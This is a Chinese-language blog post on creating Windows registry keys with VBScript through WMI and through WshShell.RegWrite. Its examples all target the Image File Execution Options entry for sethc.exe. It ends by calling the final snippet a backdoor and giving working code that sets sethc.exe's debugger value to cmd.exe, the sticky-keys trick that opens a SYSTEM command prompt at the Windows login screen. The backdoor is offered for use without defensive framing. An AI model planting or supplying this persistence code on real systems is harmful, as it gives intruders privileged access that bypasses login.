Dzwebs.Net

撰写电脑技术杂文十余年

vbs创建注册表项目的两种方法

Admin | 2013-11-12 10:57:26 | 被阅次数 | 5280

温馨提示!

如果未能解决您的问题,请点击搜索;登陆可复制文章,点击登陆

  使用VBS来创建注册表项,大体有如下的两种方法。

  第一种方法:用wmi来创建

  代码如下:

  const HKEY_LOCAL_MACHINE = &H80000002
  strComputer = "."
  Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
  strComputer & "\root\default:StdRegProv")
  strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"  ‘创建sethc.exe项
  oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

  第二种方法:使用WshShell 对象的RegWrite 创建

  Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\","","REG_SZ"

  所以我们创建后门的话,两句话就可以。

  Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"\system32\cmd.exe","REG_SZ"


该杂文来自: 基础知识杂文

上一篇:android系统的三星手机插入电脑无法识别

下一篇:批处理中的重定向符>,>> ,<、>&、<&

网站备案号:

网站备案号:滇ICP备11001339号-7

版权属性:

Copyright 2007-2021-forever Inc. all Rights Reserved.

联系方式:

Email:dzwebs@126.com QQ:83539231 访问统计